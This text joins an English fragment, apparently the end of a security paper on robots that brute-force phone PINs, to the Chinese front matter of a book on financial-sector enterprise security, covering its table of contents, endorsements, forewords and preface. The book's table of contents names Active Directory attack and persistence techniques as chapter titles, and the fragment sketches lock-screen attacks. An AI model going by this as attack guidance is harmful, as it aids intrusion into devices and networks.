exhaust a PIN's combinations HTTPS://WWW.ISECPARTNERS.COM 6/6 4 FUTURE WORK BruteController and R2B2 are easily extensible to allow brute-forcing of non-numeric passwords using the whole keyboard. Exhaustive testing is completely intractable, but a targeted wordlist could prove practical. C3BO would require a separate wire for each character, or a grid system that can actuate points at the intersections of the grid. Because of its programmability, R2B2 might be useful for fuzzing of physical interfaces. UI vulnerabilities such as lock screen bypasses, which are usually a sequence of UI inputs performed in rapid succession. This might require separate actuators to press hardware buttons that are difficult to reach from the front side of the device.
pdf
网络空间安全技术丛书 企业安全建设指南:金融行业安全架构与技术实践 聂君 李燕 何扬军 编著 ISBN:978-7-111-62203-1 本书纸版由机械工业出版社于2019年出版,电子版由华章分社(北京华章图文信息有限公司,北京奥维 博世图书发行有限公司)全球范围内制作与发行。 版权所有,侵权必究 客服热线:+ 86-10-68995265 客服信箱:[email protected] 官方网址:www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书(微信号:hzebook) 目录 对本书的赞誉 序一 序二 序三 前言 第一部分 安全架构 第1章 企业信息安全建设简介 1.1 安全的本质 1.2 安全原则 1.3 安全世界观 1.4 正确处理几个关系 1.5 安全趋势 1.6 小结 第2章 金融行业的信息安全 2.1 金融行业信息安全态势 2.2 金融行业信息安全目标 2.3 信息安全与业务的关系:矛盾与共赢 2.4 信息安全与监管的关系:约束与保护 2.5 监管科技 2.6 小结 第3章 安全规划 3.1 规划前的思考 3.2 规划框架 3.3 制订步骤 3.3.1 调研 3.3.2 目标、现状和差距 3.3.3 制订解决方案 3.3.4 定稿 3.3.5 上层汇报 3.3.6 执行与回顾 3.4 注意事项 3.5 小结 第4章 内控合规管理 4.1 概述 4.1.1 合规、内控、风险管理的关系 4.1.2 目标及领域 4.1.3 落地方法 4.2 信息科技风险管理 4.2.1 原则 4.2.2 组织架构和职责 4.2.3 管理内容 4.2.4 管理手段和流程 4.2.5 报告机制 4.2.6 信息科技风险监控指标 4.3 监督检查 4.4 制度管理 4.5 业务连续性管理 4.5.1 定义和标准 4.5.2 监管要求 4.5.3 BCM实施过程 4.5.4 业务影响分析和风险评估 4.5.5 BCP、演练和改进 4.5.6 DRI组织及认证 4.6 信息科技外包管理 4.7 分支机构管理 4.8 信息科技风险库示例 4.9 小结 第5章 安全团队建设 5.1 安全团队建设的“痛点” 5.2 安全团队面临的宏观环境 5.3 安全团队文化建设 5.4 安全团队意识建设 5.5 安全团队能力建设 5.5.1 确定目标,找准主要矛盾 5.5.2 梳理和细分团队职能 5.5.3 建立学习框架,提升知识和技能水平 5.5.4 掌握学习方法,实现事半功倍的效果 5.6 安全团队建设路径 5.7 安全人员职业规划 5.8 安全团队与其他团队的关系处理 5.9 小结 第6章 安全培训 6.1 安全培训的问题与“痛点” 6.1.1 信息安全意识不足的真实案例 6.1.2 信息安全培训的必要性 6.1.3 信息安全培训的“痛点” 6.2 信息安全培训关联方 6.3 信息安全培训“百宝箱” 6.4 面向对象的信息安全培训矩阵 6.5 培训体系实施的效果衡量 6.6 小结 第7章 外包安全管理 7.1 外包安全管理的问题与“痛点” 7.1.1 几个教训深刻的外包风险事件 7.1.2 外包安全管理的必要性 7.1.3 外包管理中的常见问题 7.2 外包战略体系 7.3 外包战术体系 7.3.1 事前预防 7.3.2 事中控制 7.3.3 事后处置 7.4 金融科技时代的外包安全管理 7.5 小结 第8章 安全考核 8.1 考核评价体系与原则 8.2 安全考核对象 8.3 考核方案 8.3.1 考核方案设计原则 8.3.2 总部IT部门安全团队 8.3.3 总部IT部门非安全团队(平行团队) 8.3.4 个人考核 8.3.5 一些细节 8.4 与考核相关的其他几个问题 8.5 安全考核示例 8.6 小结 第9章 安全认证 9.1 为什么要获得认证 9.2 认证概述 9.2.1 认证分类 9.2.2 认证机构 9.3 选择什么样的认证 9.4 如何通过认证 9.5 小结 第10章 安全预算、总结与汇报 10.1 安全预算 10.2 安全总结 10.3 安全汇报 10.4 小结 第二部分 安全技术实战 第11章 互联网应用安全 11.1 端口管控 11.2 Web应用安全 11.3 系统安全 11.4 网络安全 11.5 数据安全 11.6 业务安全 11.7 互联网DMZ区安全管控标准 11.8 小结 第12章 移动应用安全 12.1 概述 12.2 APP开发安全 12.2.1 AndroidManifest配置安全 12.2.2 Activity组件安全 12.2.3 Service组件安全 12.2.4 Provider组件安全 12.2.5 BroadcastReceiver组件安全 12.2.6 WebView组件安全 12.3 APP业务安全 12.3.1 代码安全 12.3.2 数据安全 12.3.3 其他话题 12.4 小结 第13章 企业内网安全 13.1 安全域 13.2 终端安全 13.3 网络安全 13.3.1 网络入侵检测系统 13.3.2 异常访问检测系统 13.3.3 隐蔽信道检测系统 13.4 服务器安全 13.5 重点应用安全 13.6 漏洞战争 13.6.1 弱口令 13.6.2 漏洞发现 13.6.3 SDL 13.7 蜜罐体系建设 13.8 小结 第14章 数据安全 14.1 数据安全治理 14.2 终端数据安全 14.2.1 加密类 14.2.2 权限控制类 14.2.3 终端DLP类 14.2.4 桌面虚拟化 14.2.5 安全桌面 14.3 网络数据安全 14.4 存储数据安全 14.5 应用数据安全 14.6 其他话题 14.6.1 数据脱敏 14.6.2 水印与溯源 14.6.3 UEBA 14.6.4 CASB 14.7 小结 第15章 业务安全 15.1 账号安全 15.1.1 撞库 15.1.2 账户盗用 15.2 爬虫与反爬虫 15.2.1 爬虫 15.2.2 反爬虫 15.3 API网关防护 15.4 钓鱼与反制 15.4.1 钓鱼发现 15.4.2 钓鱼处置 15.5 大数据风控 15.5.1 基础知识 15.5.2 风控介绍 15.5.3 企业落地 15.6 小结 第16章 邮件安全 16.1 背景 16.2 入站安全防护 16.2.1 邮箱账号暴力破解 16.2.2 邮箱账号密码泄露 16.2.3 垃圾邮件 16.2.4 邮件钓鱼 16.2.5 恶意附件攻击 16.2.6 入站防护体系小结 16.3 出站安全防护 16.4 整体安全防护体系 16.5 小结 第17章 活动目录安全 17.1 背景 17.2 常见攻击方式 17.2.1 SYSVOL与GPP漏洞 17.2.2 MS14-068漏洞 17.2.3 Kerberoast攻击 17.2.4 内网横移抓取管理员凭证 17.2.5 内网钓鱼与欺骗 17.2.6 用户密码猜解 17.2.7 获取AD数据库文件 17.3 维持权限的各种方式 17.3.1 krbtgt账号与黄金票据 17.3.2 服务账号与白银票据 17.3.3 利用DSRM账号 17.3.4 利用SID History属性 17.3.5 利用组策略 17.3.6 利用AdminSDHolder 17.3.7 利用SSP 17.3.8 利用Skeleton Key 17.3.9 利用PasswordChangeNofity 17.4 安全解决方案 17.4.1 活动目录整体架构及相关规范 17.4.2 技术体系运营 17.4.3 外围平台安全 17.4.4 被渗透后的注意事项 17.5 小结 第18章 安全热点解决方案 18.1 DDoS攻击与对策 18.1.1 DDoS防御常规套路 18.1.2 一些经验 18.2 勒索软件应对 18.3 补丁管理 18.3.1 Windows 18.3.2 Linux 18.4 堡垒机管理 18.5 加密机管理 18.5.1 选型 18.5.2 高可用架构与监控 18.5.3 应用梳理 18.5.4 上下线与应急 18.6 情报利用 18.7 网络攻防大赛与CTF 18.8 小结 第19章 安全检测 19.1 安全检测方法 19.2 检测工具 19.3 安全检测思路和流程 19.4 安全检测案例 19.4.1 收集信息 19.4.2 暴力破解 19.4.3 XSS检测 19.4.4 OS命令执行检测 19.4.5 SQL注入检测 19.4.6 XML实体注入检测 19.4.7 代码注入 19.4.8 文件上传漏洞检测 19.4.9 支付漏洞检测 19.4.10 密码找回漏洞 19.4.11 文件包含漏洞 19.5 红蓝对抗 19.6 小结 第20章 安全运营 20.1 安全运营概述 20.2 架构 20.3 工具 20.4 所需资源 20.5 安全运营的思考 20.6 小结 第21章 安全运营中心 21.1 安全运营中心概述 21.2 ArcSight简介 21.3 SOC实施规划和架构设计 21.3.1 明确需求 21.3.2 架构环境 21.3.3 硬件规格 21.3.4 日志管理策略 21.3.5 应用的资产和架构信息 21.3.6 外部信息集成策略 21.3.7 开发方法及方式 21.3.8 工作流规划 21.3.9 成果度量 21.4 ArcSight安装配置 21.4.1 安装前准备 21.4.2 初始化安装 21.4.3 安装后验证 21.4.4 性能调优 21.4.5 初始备份 21.4.6 压力测试 21.4.7 其他参数调整 21.5 小结 第22章 安全资产管理和矩阵式监控 22.1 安全资产管理 22.1.1 面临的问题 22.1.2 解决思路和方案 22.1.3 几点思考 22.2 矩阵式监控 22.2.1 存在的问题 22.2.2 解决方案 22.2.3 收益和体会 22.3 小结 第23章 应急响应 23.1 概述 23.2 事件分类 23.3 事件分级 23.4 PDCERF模型 23.5 其他话题 23.6 小结 第24章 安全趋势和安全从业者的未来 24.1 职业规划方法论 24.2 安全环境趋势和安全从业趋势 24.3 安全从业指南 24.4 安全从业注意事项 24.5 小结 附录 附录A 我的CISSP之路 附录B 企业安全技能树 对本书的赞誉 我从事金融行业已有三十多年,经历了我国金融lT技术的发展和变化全过程。“安全可靠”是银行业的 永久命题,它保障了银行信用的基础,全体技术人员时时刻刻为之付出了巨大的努力。互联网和云计 算、大数据、人工智能等新技术的发展更加扁平化和立体化,对网络安全提出了新的全面要求。几位作 者在银行和证券行业的安全技术领域不断探索实践,后生可畏。出版此书,殊为不易。 ——徐连峰,原招商银行技术总监 本书是作者在金融行业多年从事安全工作的总结和归纳,对企业信息安全架构设计和安全技术实践 的方方面面做了系统的梳理,实操性很强,干货满满!可以说,本书对金融行业信息安全从业人员和安 全负责人都提供了一本行之有效的指南,可为案头常备工具书之一! ——陈建,平安集团首席安全官 信息安全是一项非常复杂的工程,既要有仰望星空的情怀,又要有脚踏实地的力行,这本书的作者 们用自己的思考和实践很好地诠释了这一理念。几位作者都有十年以上金融信息安全从业经验,都是各 企业的核心骨干,这次能够利用业余时间将这些经验编制成书,非常的难能可贵,自己有幸提前拜读, 感悟良多,借此感谢。 ——代留虎,招商银行总行安全管理室主管 建设完善的企业安全架构是一个非常艰难的过程,安全从业者的价值观和技术实战水平与企业安全 的前途命运是紧密联系的,从安全本质出发,如何树立正确的安全价值观,处理好安全建设过程中的关 系,把控安全趋势的发展,本书给予了我们启发和帮助。 ——李吉慧,中国民生银行信息科技部安全规划中心副处长 本书是作者基于多年在金融行业网络安全技术管理岗位上的工作经验,针对金融企业的实际信息安 全需求编撰的一部极具行业特色的著作。金融是离钱最近的行业,很自然就成为了网络罪犯们实施网络 攻击的首要目标,金融企业必须要加强企业信息安全体系建设,才可能在与网络犯罪的对抗中力保业务 不受损失。与此同时,金融企业的IT安全团队又往往只能有少量的人员编制,在这种情况下,如何进行 企业的信息安全体系架构与团队技术能力提升,往往是困扰团队领导的难题。而本书作者从安全架构出 发首先讨论金融企业信息安全建设的一些策略性问题,然后深入到与金融企业业务紧密相关的安全技术 实战,最后回到对金融行业安全趋势与安全从业者职业发展未来的分析上。全书内容深入浅出,语言流 畅自然,特别推荐给金融行业网络安全从业者研读,可帮助其快速建立起对行业网络安全需求与安全策 略的精准把握,以及对网络安全实战技术的全面了解。此外本书也适合其他行业网络安全从业者参考, 毕竟金融行业在信息安全体系上的投入与建设理念可以作为其他行业的参照标杆。 ——诸葛建伟,清华大学副研究员/蓝莲花战队联合创始人 在国内,具备甲方经验、有防御体系建设能力和实战经验的人才非常稀缺,随着网络安全的重要性 日益提升,安全人才市场缺口凸显。本书出版恰逢其时,不仅系统介绍了企业信息安全建设的方方面 面,同时作者以多年金融行业的安全实战为背景,给读者带来大量精彩案例,是网络安全从业人员手头 不可缺少参考手册。 ——董志强,腾讯安全云鼎实验室负责人 本书具有大安全的视野与格局,内容深入浅出,结合实践经验的分享,对大安全的各个方面进行了 体系化的总结,理论不散、实践不浮,体现了作者多年的积累与思考,为各类金融企业提供了可参考借 鉴的安全框架与实务手册。 ——吴树鹏,火币集团首席安全官 任何技术的落地都需要和场景结合起来,安全技术尤其如此。金融行业是对安全需求非常高的,内 部的应用场景和需求如何与现有的技术结合非常有参考价值。作者们总结了他们十几年在金融甲方的安 全实战经验,让我读后受益匪浅,强烈推荐为金融行业提供安全产品和服务的乙方,以及准备去金融企 业做甲方的安全技术人员阅读。 ——方兴(flashsky),全知科技CEO 金融行业的本质在经营风险,受到的监管合规管制也最严格。阅读本书,仿佛和作者们进行了一场 酣畅淋漓的对话,又好像瞬间吸收了他们的功力,得以窥探金融领域安全实践的冰山一角。不论是大型 互联网企业的安全管理者,还是初入行业的新人,本书都具有极大的参考意义,值得细细品读学习。 ——赵弼政(职业欠钱),美团基础设施安全负责人 本书非常全面、系统、清晰地从多个维度介绍了企业信息安全建设的方方面面,对其中的主要场景 的主要矛盾进行了深入浅出的剖析,既有适合安全管理者阅读的头脑激荡,也有适合安全工程师阅读的 实操经验分享,实战价值极高。本书极为适合安全从业者和安全爱好者阅读。 ——方勇,腾讯云安全总监 金融行业一直是IT高度发展的一个领域,同时也是数据资产高度集中的一个行业。在这种背景下, 相对其他行业,金融行业对于安全的重视程度普遍较高,安全技术和管理能力都更胜一筹。本书系统介 绍了金融企业安全建设的方方面面,既有对抗技术,也有管理运营,对于其他行业的安全从业者也具有 很好的指导价值。 ——兜哥,百度安全基础架构安全负责人,AI安全三部曲的作者 金融行业对于安全的认识相对较早,同时重视程度也较高。作者们将多年在金融企业安全建设上的 实践经验抽象成理念和可落地的方式、方法,并对金融行业常见的一些风险场景进行了全面深入的讲 解,且有很多可直接落地的干货,对于安全规划、安全团队建设以及安全人员发展等痛点都有独到见 解,相信金融行业安全从业者阅读本书后会受益匪浅。 ——Feei(止介),美丽联合集团网络信息安全总监 本书是一本兼具安全架构和实战经验的信息安全专业书籍。本书的第一作者聂君先生在信息安全产 业内工作多年,担任过知名金融机构的信息安全负责人,对甲方信息安全的需求,特别是金融行业信息 安全的特点有着深厚的理解,在多年的信息安全管理工作中也积累了丰富的实战经验。本书的内容覆盖 很广,从信息安全管理到最前沿的技术实战都有所涉猎,适合信息安全从业人员、金融行业IT从业人员 等专业读者。 ——萧德纲,启明星辰集团副总裁 本书是一本从甲方视角写的经验总结,读完后受益匪浅。今年上半年我们团队办了一场深度的Red Team闭门培训,本书第一作者聂君是学员中唯一一个甲方安全人员,当时他说他希望多吸收攻击者视角 的手法,进而促进他们的安全工作。而读了此书,对我来说是大量吸收了防御者视角的经验,对我们以 攻促防的安全建设思路来说是一次绝佳的学习机会。再次感谢。 ——余弦,Joinsec Team&慢雾科技联合创始人 许多信息安全的从业者受限于学习和工作的经历,没有机会洞悉信息安全的全貌,对于职业的规划 和方向感到迷茫。许多企业的CEO、CTO和信息化负责人重视信息安全但因缺少专业背景和知识,不知 道企业安全岗位应该如何设置,安全建设应该如何开展。本书的几位作者在企业信息安全建设,尤其是 金融企业安全建设方面有着丰富的实践经验,相信对于希望从事企业信息安全建设的朋友会有很大帮 助。 ——薛锋,微步在线CEO 序一 三年前认识聂君,初见时的场景仍记忆犹新。当时本人所在的企业急需引进一名在信息安全领域能 够独当一面的专业人才,机缘巧合之下认识了聂君。几次接触发现,不仅他的知识和能力与岗位相匹 配,更为重要的是我们彼此对很多事情的认识和看法非常契合,颇有相见恨晚之感。三顾茅庐之下,这 位安全界大名鼎鼎的君哥终于被我感动,我也终为公司求得这一人才。 合作三年,感佩聂君做事的认真和用心,视角全面、思维成熟、敏于实践、勤于总结、乐于分享、 广结人缘,若非如此,我想也断不会有此书的出版。 这几年,因工作的关系,我们在安全领域做了不小投入,下了不少功夫,对从事安全领域的甲乙方 小伙伴们有了更多的了解,接触下来,真觉得十分有趣,也很欣赏。安全圈无论是国内外,颇有江湖侠 客之风:英雄不问出处,尊重个性,崇尚技术,追求卓越;靠着先天之悟性加后天之勤奋,从业者可以 一战成名,受众人尊重甚至追随。 当下,尤其是对金融机构而言,信息安全的重要性已经不需要再特别论证。或许各家企业起心动念 起点不同,但无论是主动谋求长治久安,还是仅仅为形势环境所迫,无一例外都已经将信息安全作为一 项重中之重的任务来抓。但真正要做好却着实不易。借此机会,我也从我的角度(甲方IT主管)对信息 安全浅谈几点。 一、关于信息安全工作的定位:金融企业的商业价值是为客户提供金融服务,业务永远是其根本和 主业,IT的价值在于把技术做好,为公司提供先进的、安全的、有市场竞争力的IT平台和工具,服务好 客户。因此IT万不可跳脱出来,就着技术论技术,甚至倒逼公司做投入。信息安全作为IT的一个细分领 域,也同样必须统一到这个认识上。作为甲方的安全从业人员,必须基于公司的业务、发展阶段和内外 部环境,综合统筹制定安全规划和实施路径,帮助企业达成商业目标,与业务的差别仅仅是分工不同、 职责不同而已。 二、关于信息安全工作的重要性:经常听到这句话:信息安全做得好不好,首先取决于领导的重视 程度。在我看来,这话对也不对。对的方面是:结果是否达成确实和领导有很大关系,如果公司不做投 入,领导该承担的责任不承担,任谁都不可能做好这份工作;那为什么又说这话不对呢,因为领导不是 神仙,在缺少信息支撑的情况下不可能做出预判和决策。安全人员自身要做好领域规划和布道宣传,有 意识地提炼工作、向上管理。有时往往是因为自身能力的欠缺,这方面的工作做得不够,不同职场层次 之间存在较大信息不对称,才造成了公司投入没有及时跟上。因此,无论是安全人员还是IT人员,这是 需要时刻提醒自己和提升自己的地方。 三、关于信息安全工作的复杂性:信息安全领域包罗万象,涉及技术与管理、研发与测试等全链 条,从物理层到应用层,从机器到人都需要纳入到工作范畴里,从体系、规划、架构、管理与技术落地 以及运营迭代形成闭环。这是一个复杂的系统工程,需要很强的系统性思维,持续不断的学习自驱力和 卓越的执行力。 四、关于信息安全工作的横向协作:在IT团队内部,信息安全与研发、运维、测试等都需要密切的 协作,但因为安全工作更多承担了制定规范、监控监督的职责,所以,在协作方面处理不好,容易出现 工作冲突,损伤士气。甲方安全人员尤其需要对这一点有深刻的认识,在工作中能够客观看待事物和艺 术的处理矛盾,积极主动、不忘初心的去达成目标,慢慢历练出专业感和职业感,当然要达到这一点是 不容易的,但也是很重要的。 写序之前,仔细拜读了全书,书中所思所想皆发自作者肺腑,所行所惑皆来自实践,内容全面翔 实,可谓倾其所得、倾囊而出。对于上述几点看法,作者有着非常深刻的认识,其中观点我非常认同, 此外,书中还在战术层面归纳总结了很多方法,具有很强的实操性,相信无论是甲方还是乙方的企业领 导、CIO、安全主管,还是职场小白,都一定能从本书中得到启发,有所收获。 最后恭喜君哥儿女双全之外,集数年之功力,出版此书,可谓又喜得一子,可喜可贺。 许彦冰,安信证券信息技术中心总经理 2018年8月21日 序二 自古以来,安全问题就是人类所要解决的最基本问题。小到每个人的安全,大到整个国家的安全, 每个时代都无法回避这个问题。解决安全问题给人类生存和社会发展提供了基本保证。 自从互联网诞生以来,人类的生产力水平有了极大的提高,人们的生活随着互联网的出现变得越来 越美好,但随之而来的安全问题,也以全新的面貌出现在我们面前,这带来了一系列新的挑战。 互联网、云计算、IoT、机器智能,这四项技术在短短二十年内的兴起,正在极大地改变整个世界。 因为摩尔定律,计算和存储的成本每十八个月降为一半,也因此我们有能力将整个物理世界进行数字 化,而数字化后的数据,通过互联网即时地传输回云端进行大规模计算的处理,从而诞生出了过去从来 没有过的机器智能,而借助机器智能,我们真正拉开了一个时代的序幕。这个时代就像19世纪时人类进 入电气时代一样,对我们的影响将无比深远。 我们所有安全从业者的责任,是很好地解决这个时代的安全问题,推动时代的进步与发展,而非让 安全问题变成保守派与既得利益者的一种借口,阻碍社会的发展。先进生产力的出现,一开始往往是脆 弱的、不完善的,也意味着肯定存在安全问题。但不能因安全问题的存在,因噎废食,彻底否定先进生 产力。过于保守将极大地延缓人类进步的节奏,这与我们生活的环境息息相关。我想帮助先进生产力解 决好安全问题,让新时代更快、更稳定地来临,正是我们安全从业者存在的意义。 在19世纪晚期,电气照明替代煤气照明的过程中就出现过种种争议,有人认为电气照明会带来不安 全,让整个夜晚的城市照亮会方便罪犯在夜晚犯罪,甚至有报纸公开宣称照明是对神灵的亵渎。然而种 种噪声终将消失在历史长河,但是这些争议却是工程师们设计一套稳定、安全系统的最佳磨刀石。出现 安全问题必然意味着损失,甚至有牺牲,但需要整体保持乐观,不断总结经验就能向前走下去,终达彼 岸。 安全问题是一个信任的问题。我们无从解决一个没有任何信任基础的安全问题,怀疑主义者如果怀 疑一切,那么就失去了出发点。基本的信任就像一个世界中的原点,只有从原点出发,才有可能推导出 一切。就像可信计算中的信任链传递,在最底层最基础的部分,一定有一个可信任的芯片,它是一切的 基础。如果这个基础的信任假设不成立,那么构建的一切上层建筑将随之崩溃。 安全问题是一个研究对抗的科学。没有对抗,就没有威胁,也就没有安全问题。所谓安全,一定是 有需要保护的一方,与形成威胁的一方。勿论这种威胁是来自于内部,还是来自于外部。人与人之间的 关系,构成了现代社会,因此安全问题在很多时候,最终依旧要回归到研究人与组织上面去。只有研究 清楚了威胁一方的能力、动向,才能有效地调动我方的资源、部署。在对抗中,安全问题被不断解决。 所以从宏观上看,我们要解决的安全问题,与军事上的很多思想有共通之处。而在互联网安全问题中, 则衍生出了“威胁情报”这一分支。 安全问题是一个概率问题。安全事件往往是小概率事件,但在一个大规模环境下,小概率事件却往 往又会变为常态。比如小行星撞击地球、地震、战争等灾害的破坏,很可能会影响到数据中心的数据安 全,但这些极端的事件是一个小概率事件,不是每时每刻都在发生的,在设计系统时需要从全局考虑, 更要平衡好对应的投入产出比。一个安全方案决定的是有限资源的分配,要把资源分配在概率最高、风 险最大的问题上。但我们日常面临的种种安全问题往往不是那么极端,那么如何评估概率、分配资源, 对安全架构师的能力提出了很高的要求。 安全是一门应用科学。从业十多年,我感受到安全这门学科并不像物理、数学一样有很多的基础理 论需要去研究和探索。安全从对抗中来,最终还是要回到对抗中去,到底好不好,要看疗效。在不同时 代、不同环境下也会衍生出不同的安全问题。因此如果说安全问题研究的是什么,我认为最终还是会回 到研究人与人之间的关系。但在这个过程中,随着每个时代的不同,可以有很多不同的技术手段、工具 应用到安全的对抗过程中,就是为了完成各自的安全目标。 安全工作者永远对新技术保持敏感、乐于接受先进生产力。无论是攻击还是防守,先进生产力都能 带来很多新的视角、新的能力。比如新出现的机器智能,让我们对概率这一问题能够做到更加的心中有 数,更加精细化地管理我们面临的一切。而对概率的计算越精准,就越能有效地分配资源,从而实现对 抗中的优势,这不失为当前最需探索的一条新的道路。同样,区块链的出现,在可以预见的未来中,将 成为极其重要的基础设施。在整个世界数字化的基础上,人类的一切行为有可能被全量记录在区块链的 账本中,通过加密技术保证无法被篡改,这让我们有可能第一次真正解决数据共享中的信任问题。而信 任的门槛被降低后,会像打开一个潘多拉的魔盒一样,改变人类生活的方方面面。这种对社会的推动与 改变,正是安全工作者所应当追求的。 所有这些安全技术、安全问题的解决,都要立足脚下、放眼未来。作者们根据多年在金融企业的工 作经验,写下了这本书。这本书对整个金融安全工作乃至各行各业的企业安全工作,都有着非常重要的 指导意义。这是因为金融行业本身对安全的要求就非常高,是一切业务的基础,在严格的要求下才能形 成高水平的队伍。另一方面金融本身研究的就是概率,对于安全问题会有着天然的敏感性,更勿论区块 链技术最早就是在金融行业出现。也因此本书是从真正的一线中来并服务于一线的,书中既有理论思想 指导,又有可落地的实操经验。 在本书中,我看到了作者们满满的诚意。将若干年的工作经验总结成文字是一件费时费力的事情, 殊为不易,我们要感谢作者们的无私分享,而他们对于技术的谦卑心态值得我们所有人学习。 吴翰清,阿里云首席安全科学家 2018年8月26日 序三 得知君哥打算写这本有关安全运营的书时,满怀期待的同时也有一些疑虑。因为近几年网络安全相 关的好书有不少,但多数是以安全技术为主,论述安全运营之道的非常鲜有。主要原因是安全技术领域 纷繁驳杂,专注其中某项技术形成著作相对简单清晰。但安全运营之道不仅要融会贯通多项安全技术, 还要根据业务系统的情况,把安全技术结合到日常安全运营工作中,并且在保障业务系统安全之余,还 要考虑如何体现出安全运营工作的价值,这是一项需要长期坚持的浩大工程,其中还有很多讳莫难书的 体会。所以,虽然知道君哥有多年的安全技术、安全管理的实战经验与积累,并且也从安全技术从业者 转型为安全管理者,经历了安全运营工作中多个角色,有很多体会和心路历程,但繁忙工作和照顾家人 之余,是否还能沉下心来梳理所学所感,把安全运营的宝贵经验都写出来,还是替君哥捏了一把汗。 所幸君哥和其他两位作者的积累和坚持,在我看到书本样稿时,不仅打消了之前的疑虑,更让我眼 前一亮,这本积累几个作者心血的安全运营之道,不仅涉及当前安全运营相关常见的安全技术,而且能 帮助和指导安全技术人员如何更好地运用技术提升安全工作。更包涵金融企业安全体系架构和建设的方 向与内容,以及安全资产威胁管理等企业安全基础的重要关键点。更难能可贵的是,还结合作者从安全 技术到安全运营管理的成长经历,提出了安全技术从业者可参考的“安全世界观”。更对企业的安全管理 者和安全运营工作的负责人分享了很多宝贵的实战经验,让企业安全管理者和安全运营工作负责人,在 面对企业领导、业务部门和用户希望安全工作是“不碍事不出事”的期望下,在安全投资难以衡量价值的 前提下,如何围绕业务、协调好运维等各方面的关系,让安全运营工作顺利落地,如何让安全团队的技 术价值显现,让搞安全的技术人员能够得到成就感。这些安全技术从业者和企业安全管理者思考多年也 面临多年的“沉疴杂症”,给出了有实际参考意义的建议。也为当前部分金融企业的安全建设和从业人员 点明了如何避免“为了安全而安全”的破局思路。对于日益多元化的需求和逐渐复杂的网络环境,让安全 更应当回归实际,发挥安全工作的价值本质。 这本书对安全从业人员来说是一笔财富,亦是可让你随时翻阅、随时提供参考建议的良师益友。相 信这本书能为金融企业构建有价值的安全体系提供有益的参考,同时能为致力于向CSO(首席安全官) 发展的安全人员,开启一些成长的思路。 这本书除了书籍文字之外,拜读之后还有不少感悟,安全工作门槛颇高,而黑白之间收益天差地 别,但成功的安全人员离不开职业操守和情怀。安全人员的工作是解决风险,但也意味着随时暴露在风 险和诱惑之中,当有捷径可走时,走还是不走?君哥和其他两位作者分享所学,也正是在分享正面的“安 全观”。 此外,“君哥的体历”公众号上破例发了一篇推广软文。推广“南俊苹果”,南俊是一名白帽黑客,在个 人工作成长和妻子刚怀孕的人生美好时间,却因一场车祸,肩膀平面以下再没了知觉。但他没有因此颓 丧,而是选择开一家名为“NJ的希望农场”的微店,通过销售老家农村有机苹果的微薄收入,以此承担照 顾家庭的责任。求证南俊的事迹真实后,君哥为“南俊苹果”义气站台推广,还有安全圈同仁在朋友圈纷 纷转发和支持,他和南俊都让我感受到了安全圈的这份温情、情怀与坚守,也正是安全圈满满义气的“人 生观”的体现。 有幸作序之余,更多的是学习与感谢。安全工作充满挑战,道阻且长,但也机遇遍地,值得每一个 从业者奋不顾身。在此寄愿安全圈的伙伴们始终都充满希望,始终有颗感恩的心,有颗持续让自己变得 更好的心,永远坚持,永不放弃。 郭亮,北京数字观星科技有限公司 2018年8月28日 前言 自从我从事信息安全职业以来,我一直在甲方从事企业安全建设工作。由于信息技术和安全技术日 新月异地发展,我一直在学习之路上奔跑。看过很多书,听过很多演讲,其中大部分图书是零碎的技术 点、工具使用和攻击过程演示,少数是属于理论性和学术性的教科书,很少有书籍介绍如何将安全技术 更好地应用在不同规模、不同阶段的企业中,即企业安全最后一公里问题。在企业做安全、安全管理和 安全技术,都需要通过安全实践去落地,并最终实现安全有效性的提升。 企业的安全负责人关注的重点是如何使企业的安全建设更加有效,以及如何落地,例如安全价值、 安全如何保障业务、安全合规、安全总结汇报、安全考核、安全度量、资产管理等。企业安全建设的很 多话题和讨论,看起来并不高大上,但却能够解决实际问题,给实际工作带来更大帮助,甚至很多属 于“保命”的知识和技能。可是,安全实践这部分很有价值的内容却被市场选择性地忽略了。 企业安全建设中另一个重点是安全运营。企业负责人和IT部总经理经常会问:什么样的安全是安全 的?我见过一些企业做安全的过程,部署了各种安全设备,设计了各种安全管理措施和流程,领导也很 支持,安全预算和安全人员也都给足,结果还是出了问题,归根结底是安全有效性出了问题。设备部署 了,异常告警规则做好了吗?告警正常吗?设备依赖的条件,比如镜像的流量一直正常吗?了解安全保 护的业务吗?能看懂告警日志的人有吗…… 要将安全性当作可用性来运营,安全才是有效的。目前制约安全运营发展的最大因素有两点:一是 缺少特别好的商业化工具,能够结合企业内部的流程和人员,提高安全运营效率;二是一万个安全负责 人心中有一万个安全运营思路,没有形成统一的安全运营标准。安全运营这部分很有价值的内容,很遗 憾和安全实践一样,也被市场选择性地忽略了。 书本和市场提供不了这些知识和技能,我只能求教于同行。我的从业经历主要在银行和证券,因此 每年我都会和行业同仁进行学习交流。除了金融业,我们也向互联网行业公司学习,从中确实获益良 多。不同的行业、企业的规模、面临的风险威胁、企业文化和实际需求、安全投入等,其安全建设之路 也风格迥异,但做得好的企业都侧重解决实际安全问题,日拱一卒,积极实践,因此愈发坚定我对安全 实践和安全运营的探索。 利用工作之余的闲暇时间,我维护了“君哥的体历”公众号和“金融业企业安全建设实践”微信群,将我 从业十余年的一些体验和经历分享出来,抛砖引玉,启发更多企业安全负责人的思考和分享讨论,并将 有价值的内容沉淀在知识星球(公众号、微信群、知识星球联系方式见文末),为越来越多的人带来一 些价值和帮助。 这种分享,我理解为另一种“开源”精神。代码和项目开源很常见,体验和经历开源不多见,尤其是 比较体系化地将如何在企业做安全建设的思路和实践开源,需要静下心来归纳总结提炼,在平常繁重的 工作任务和需要全身心投入陪伴两个娃的同时,要做好“企业安全建设”这个开源项目,难度和挑战更 大。在这个过程中,有如西湖惬意的微风,也有如沙漠般的烈日当头。不忘初心,方得始终。初心易 得,始终难守。幸好我遇到了两位志同道合的伙伴,我们彼此共同努力和坚持,克服了各种困难,才有 此书的面世。 在某个年纪之前,你可以靠透支身体、小聪明和老天给你的运气,一直取巧地活着。然而到了某个 年纪之后,真正能让你走远的是自律、积极和勤奋。人生最美好的莫过于各种经历和难忘的体验,过程 虽然比较痛苦,结果都还比较好。如果大家和我一样,在企业做安全中遇到各种颇为“痛苦”的经历,过 后你一定会感谢和怀念这份经历的。 本书结构 本书分两部分共24章,读者可以通过浏览目录进一步了解各章的内容。本书介绍了企业安全建设的 方方面面,可以当作一本安全工作参考书,遇到问题时,也可以挑选任何所需要章节进行阅读。 第一部分“安全架构”,主要介绍了企业安全建设涉及的领域,金融行业安全建设的一些特点,重点 